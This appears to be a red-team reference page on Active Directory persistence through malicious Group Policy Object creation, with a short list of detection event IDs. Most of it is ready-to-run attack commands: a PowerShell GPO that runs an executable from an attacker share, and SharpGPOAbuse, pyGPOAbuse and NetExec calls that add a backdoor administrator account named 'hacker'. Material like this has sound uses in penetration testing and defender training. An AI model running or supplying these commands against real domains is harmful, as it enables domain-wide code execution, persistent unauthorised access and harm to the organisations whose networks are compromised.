title: "Attack #66 β Malicious GPO Creation" description: "An attacker with GPO creation rights (or who compromises a GPO-managing account) can create or modify Group Policy Objects to execute malicious scriptsβ¦" category: active-directory subcategory: "Persistence" tags: ["active-directory"] tools: ["NetExec", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/π€ Attack #66 β Malicious GPO Creation.md"#
π€ Attack #66 β Malicious GPO Creation#
π How It Works#
An attacker with GPO creation rights (or who compromises a GPO-managing account) can create or modify Group Policy Objects to execute malicious scripts, create scheduled tasks, or deploy software across the domain. GPOs can target specific OUs β allowing precise payload delivery to selected groups of machines or users.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| GPO creation/edit rights | Typically Group Policy Creator Owners or DA |
| GPO linked to target OU | Must link GPO for it to apply |
π» Full Commands#
# ββ Create new GPO ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
New-GPO -Name "IT Maintenance" | New-GPLink -Target "OU=Servers,DC=corp,DC=local"
# ββ Add startup script to GPO βββββββββββββββββββββββββββββββββββββββββββββββββ
Set-GPPrefRegistryValue -Name "IT Maintenance" -Action Create \
-Context Computer -Key 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' \
-ValueName 'Maintenance' -Type String -Value '\\ATTACKER\share\evil.exe'
# ββ SharpGPOAbuse (automated GPO abuse) βββββββββββββββββββββββββββββββββββββββ
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" \
--Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" \
--Arguments "/c net user hacker P@ss! /add && net localgroup Administrators hacker /add" \
--GPOName "IT Maintenance"
# ββ pyGPOAbuse (Linux) ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 pygpoabuse.py corp.local/Administrator:'Password1' \
-gpo-id "12345678-ABCD-1234-ABCD-123456789012" \
-command "net user hacker P@ss! /add" -f
# ββ NetExec β execute via GPO βββββββββββββββββββββββββββββββββββββββββββββββββ
nxc smb DC01.corp.local -u Administrator -p 'Password1' -M gpo_abuse
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 5136 | Security Log (DC) | GroupPolicyContainer object modified |
| 4688 | Security Log | Script execution from GPO startup/logon path |
| 5145 | Security Log | SYSVOL script access |
π Attack Chain Context#
[Malicious GPO] βββ Domain-wide code execution via Group Policy
β
ββββ π» Deploy malware, create admin users, disable AV across the domain
ββββ π GPO applies on reboot/logon β patient persistence
ββββ π Defeated by: restrict GPO creation rights, audit GPO changes
β Attack #66 β Malicious GPO Creation complete.